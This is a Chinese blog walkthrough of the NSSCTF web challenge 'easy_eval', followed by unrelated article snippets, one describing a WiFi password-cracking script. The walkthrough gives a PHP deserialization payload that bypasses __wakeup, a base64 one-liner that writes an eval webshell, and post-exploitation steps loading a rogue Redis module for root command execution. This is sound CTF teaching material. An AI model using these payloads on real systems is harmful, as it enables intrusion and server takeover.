NSSCTF-WEB-easy_eval

news/2024/10/20 11:12:09/

目录

前言

正文

思路

序列化构造

 后渗透

思路点1:Redis

思路2:蚁剑插件绕过disable_functinons

结尾

作者的其他文章


前言

说是easy,实际很difficult


正文

思路

php"> <?php
class A{public $code = "";function __call($method,$args){//最后执行命令eval($this->code);}function __wakeup(){//需要绕过$this->code = "";}
}class B{function __destruct(){echo $this->a->a();//这里触发__call方法}
}
if(isset($_REQUEST['poc'])){preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);//主要还是匹配传入的序列化语句,其实看AB就能够明白if (isset($ret[1])) {//下面就是设置的waf了,能够明白这玩意需要绕过即可foreach ($ret[1] as $i) {if(intval($i)!==1){exit("you want to bypass wakeup ? no !");}}unserialize($_REQUEST['poc']);    }}else{highlight_file(__FILE__);
}

序列化构造

简单扫一眼,pop构造不难,preg_match根据序列化特性绕过即可

由此

可以写出这样一个文件用于生成可利用的序列化语句

php"><?php
class a{public $code;function __construct(){$this->code="system('ls');";}
}class b{public $a;
}$a=new b();
$a->a=new a();
echo serialize($a);
//O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:13:"system('ls');";}}

接下来将生成的序列化语句内"b":1"a":1修改为2

因为是类序列化,所以只要保证含__wakeup方法的类不触发wakeup就行

失败

有可能过滤了system?

进行fuzz测试,发现passthru,exec,shell_exec均被限制,但是传入phpinfo成功

 没有flag

 看看限制了什么函数

限制死死的........

好家伙

但是没有限制eval,那么突发奇想,传个马进去怎么样

 

........好好好

之前还看到有位师傅是怎么传马的,在这里分享一下

php">fputs(fopen('dotast.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOw=="));

 后渗透

 进去后发现权限不够,且虚拟终端由于源码问题无法正常使用

 只好看看当前目录给咱留下了啥好东西

index.php就特别正常

至于swp文件就一言难尽了

用web访问下


思路点1:Redis

Redis数据库,且知道密码

用蚁剑插件进行连接

 插件可以在这里下载

 密码就是you_cannot_guess_it

成功

当然,你现在还是啥也干不了

接下来需要做的是,使用redis指令对目标进行进一步利用

简单举个例子

随便找个db右键开个终端

 

关于Redis的基础指令,可以看这篇文章

【Redis】Redis基础命令集详解_redis命令-CSDN博客

其实还是有必要了解的,网安可以说是系统工程什么都要会一点

不过大部分情况下都是即学即用是了//DOGE

既然题目除了redis便没有其他可利用的情况,那么我们需要对redis历年的漏洞做一个简单的收集,然后获取这台机子的版本信息做进一步利用

其实他给你封死了,你并没有办法做信息收集

出现这个问题的主要原因是题目构造所造成的缺陷,他既导致了漏洞的产生,也让你后渗透不能太舒服

.......

但是在你连接数据库的时候,在网页目录(var/www/html)会生成一个rdb文件

这样就拿到了redis的版本号

redis 5.x引入了模块系统,允许用户通过加载动态库来扩展 Redis 的功能(使用MODULE LOAD命令)。这些模块可以是 C 语言编写的共享库文件(例如 .so 文件)当用户使用root权限且没有正确配置模块路径限制,hacker可以利用这一点加载恶意模块

这里可以算是踩雷了

你可以发现他是以root运行的

好的,接下来尝试上传一个so文件进行下一步利用

这样的公开漏洞(而且还上CTF了),csdn,github上找找exp肯定是可以找到的

https://github.com/Dliv3/redis-rogue-server

ok

将exp.so上传

redis导入模块

至于如何使用

仔细点的师傅应该明白

github上的项目往往都存在一个readme.md教大家如何使用

当然,这题我们肯定是无法借助py进行rce的,看看redis-rogue-server.py是怎么写的

这个应该就是用法了

你也可以访问https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

查看这里的exp.so的用法

成功

看flag


思路2:蚁剑插件绕过disable_functinons

当然

这题还有另外一种解法

使用蚁剑的disable_functions绕过插件绕过前面我们在phpinfo上看到的disable_function限制

正常来说,使用LD_PRELOAD就可以成功绕过

不过这题不行

最后尝试后发现只有这两个可以成功绕过

接下来就简单了

就是这样


结尾

至于为什么github.com无法访问

可以尝试尝试将dns改为8.8.8.8,如果还是不行,那就使用黑魔法或者看命把.............................

还有就是

记得在写反序列化脚本的时候把杀软关了,我的火绒看见webshell直接露头就秒.................


作者的其他文章

攻防世界-WEB-catcat-new_攻防世界catcat-new-CSDN博客

攻防世界-WEB-WEIPHP(记一次有趣的代码审计)_攻防世界weiphp-CSDN博客

BugKu-WEB-sodirty_bugku sodirty-CSDN博客

NSSCTF-WEB-pklovecloud-CSDN博客


 


http://www.ppmy.cn/news/1540502.html

相关文章

系统托盘图标+快捷启动(Python)

QkStart 我把这个程序命名为QkStart 代码 # -*- coding: utf-8 -*- # Environment PyCharm # File_name QkStart |User Pfolg # 2024/10/19 22:06 import threading import time import pystray from PIL import Image from pystray import MenuItem, Menu import o…

fread和imread不同(imread读取的是图像的像素矩阵,fread会有别的信息)

clear;clc; fid fopen(草原HH极化图像.png,rb); B fread(fid,uint8); % % unit8是0——255&#xff0c;所以要保存图像&#xff0c;要先把矩阵归一化&#xff0c;然后再乘255 % height 1600; % width 2000; % img_matrix reshape(B(1:width*height), [height, width]); i…

C#中委托的应用与示例

委托 委托是指把事情托付给别人或别的机构办理。在C#语言中委托是一种特殊类,它定义了方法的类型,使得可以将方法当作另一个方法的参数来进行传递。委托是具有特定参数列表和返回类型的方法的引用的类型(不是引用对象,而是引用方法)。 可以委托将看作一个包含有序方法列表…

Redis 高可用:从主从到集群的全面解析

目录 一、主从复制 (基础)1. 同步复制a. 全量数据同步b. 增量数据同步c. 可能带来的数据不一致 2. 环形缓冲区a. 动态调整槽位 3. runid4. 主从复制解决单点故障a. 单点故障b. 可用性问题 5. 注意事项a. Replica 主动向 Master 建立连接b. Replica 主动向 Master 拉取数据 二、…

香港举办AIHCIR 2024国际学术会议,领先人工智能、人机交互和机器人技术

第三届人工智能、人机交互和机器人国际学术会议 &#xff08;AIHCIR 2024&#xff09;将于2024年11月在中国香港举行&#xff0c;聚焦AI、人机交互与机器人领域&#xff0c;邀请知名学者演讲&#xff0c;促进学术交流。论文经评审后提交EI检索&#xff0c;投稿需全英文&#xf…

wifi、热点密码破解 - python

乐子脚本&#xff0c;有点小慢&#xff0c;试过多线程&#xff0c;系统 wifi 连接太慢了&#xff0c;需要时间确认&#xff0c;多线程的话系统根本反应不过来。 也就可以试试破解别人的热点&#xff0c;一般都是 123456 这样的傻鸟口令 # coding:utf-8 import pywifi from pyw…

XPM_CDC_SYNC_RST

免责声明&#xff1a;本文所提供的信息和内容仅供参考。作者对本文内容的准确性、完整性、及时性或适用性不作任何明示或暗示的保证。在任何情况下&#xff0c;作者不对因使用本文内容而导致的任何直接或间接损失承担责任&#xff0c;包括但不限于数据丢失、业务中断或其他经济…

从零开始:使用 Flask 或 Django 构建 RESTful API

引言 在当今这个数据驱动的时代&#xff0c;构建高效、可扩展的后端服务变得尤为重要。RESTful API 作为一种设计模式&#xff0c;已经成为现代 Web 开发的标准之一。无论是小型初创公司还是大型企业&#xff0c;都需要一个强大的后端来支持前端应用的快速迭代和用户需求的变化…